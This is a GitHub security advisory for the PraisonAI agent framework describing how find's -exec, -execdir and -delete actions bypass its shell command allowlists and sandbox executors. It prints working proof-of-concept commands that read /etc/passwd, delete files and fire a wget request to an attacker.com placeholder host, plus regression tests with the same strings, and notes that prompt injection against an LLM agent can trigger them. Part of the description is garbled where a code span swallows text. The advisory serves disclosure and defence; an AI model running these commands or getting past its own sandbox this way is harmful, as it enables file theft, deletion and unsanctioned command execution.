GitHub Advisoryadvisory · PyPI

GHSA-cv3g-hj65-pcfh PraisonAI: Shell command allowlist bypass via find -exec built-in action

HIGH Published 2026-10-08 Modified 2026-10-08 Official page ↗
Aliases
CVE-2026-61434
Ecosystem
PyPI
Packages
praisonai
Severity
High
CVSS vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Weaknesses
CWE-693, CWE-78
Reviewed
2026-10-08

Affected packages

• PyPI praisonai: < 4.6.78 → fixed in 4.6.78

Description

Summary The shell command execution hardening introduced in PraisonAI npm 1.7.2 / Python 4.6.58 to fix GHSA-5jv7-2mjm-h6qj (utility-tools shell chaining) and GHSA-vjv9-7m7j-h833 (SandboxExecutor chaining) can be bypassed via `find`'s built-in `-exec` action. The fix blocks shell metacharacters (`` ;|&`> {} + ``` The `+` terminator (batch mode) avoids `;` which IS blocked by the metacharacter regex. Affected components (4 implementations, same gap): | # | Component | File | Gap | |---|---|---|---| | 1 | TS utility-tools `shell()` | `src/praisonai-ts/src/tools/utility-tools.ts:255` | `find` in `safeCommands` allowlist | | 2 | TS SandboxExecutor | `src/praisonai-ts/src/cli/features/sandbox-executor.ts:30-50` | `find` absent from `DEFAULT_BLOCKED_COMMANDS` | | 3 | Python `safe_shell` | `src/praisonai/praisonai/cli/features/safe_shell.py:22-58` | `find` absent from `BANNED_COMMANDS`, present in `SAFE_COMMANDS` | | 4 | Python `sandbox_executor` | `src/praisonai/praisonai/cli/features/sandbox_executor.py:87-91` | `find` absent from `blocked_commands` | Bypass analysis: | Check | `find /etc -name passwd -maxdepth 1 -execdir cat {} +` | Result | |---|---|---| | Metachar regex `/[;|&\`>"}`. 2. File deletion ```javascript await shell('find /app/uploads -name "*.bak" -delete'); // -delete is a find built-in — clean exit 0, files deleted ``` 3. Non-allowlisted command (side-effect based) ```javascript await shell('find /tmp -maxdepth 0 -exec wget -q http://attacker.com/beacon {} +'); // HTTP request fires as side effect before find returns non-zero ``` 4. Python safe_shell ```python from praisonai.cli.features.safe_shell import safe_execute result = safe_execute("find /etc -name passwd -maxdepth 1 -execdir cat {} +") print(result.stdout) # root:x:0:0:root:/root:/bin/bash ... ``` Impact An attacker who can influence the command parameter of `shell()` (via prompt injection directing an LLM agent, or direct API input to SandboxExecutor) achieves: • Blocked file read: `-execdir` reads files in `DEFAULT_BLOCKED_PATHS` by splitting the path across arguments (verified: exit 0, data returned) • File deletion: `-delete` destroys files without metacharacters (verified: clean exit 0) • Non-allowlisted command execution: `-exec` runs commands not in safeCommands (side effect fires regardless of exit code) Shell substitution (`$(...)`) IS blocked, so the bypass is limited to executing binaries already on disk — but this includes `cat`, `chmod`, `python3`, `curl` etc. Same severity class as GHSA-5jv7-2mjm-h6qj / GHSA-vjv9-7m7j-h833. Suggested fix Option A: Remove `find` from each safe/allowed command list (4 locations). Simplest fix. Option B: If `find` must remain, parse arguments and reject `-exec`, `-execdir`, `-delete`, `-fls`, `-fprint`, `-fprintf`, `-ok`, `-okdir` flags. Regression tests: ```typescript test('rejects find -exec', async () => { expect((await shell('find /tmp -maxdepth 0 -exec wget http://x.com {} +')).success).toBe(false); }); test('rejects find -execdir', async () => { expect((await shell('find /etc -name passwd -maxdepth 1 -execdir cat {} +')).success).toBe(false); }); test('rejects find -delete', async () => { expect((await shell('find /app -name "*.bak" -delete')).success).toBe(false); }); ``` References • GHSA-5jv7-2mjm-h6qj: Utility shell safe-command wrapper allowlist bypass via shell chaining (High 8.8) • GHSA-vjv9-7m7j-h833: SandboxExecutor allowedCommands bypass via shell chaining (High) • Fix commits: 2adfe7e, 2f9677a (2026-06-13)

Related

Alias · CVE (1)

  • CVE-2026-61434 PraisonAI versions before 4.6.78 contain an allowlist bypass vulnerability in shell command execution that allows attackers to execute… vulnerability

Weakness · CWE (2)

  • CWE-693 Protection Mechanism Failure weakness
  • CWE-78 Improper Neutralization of Special Elements used in an OS Command weakness

References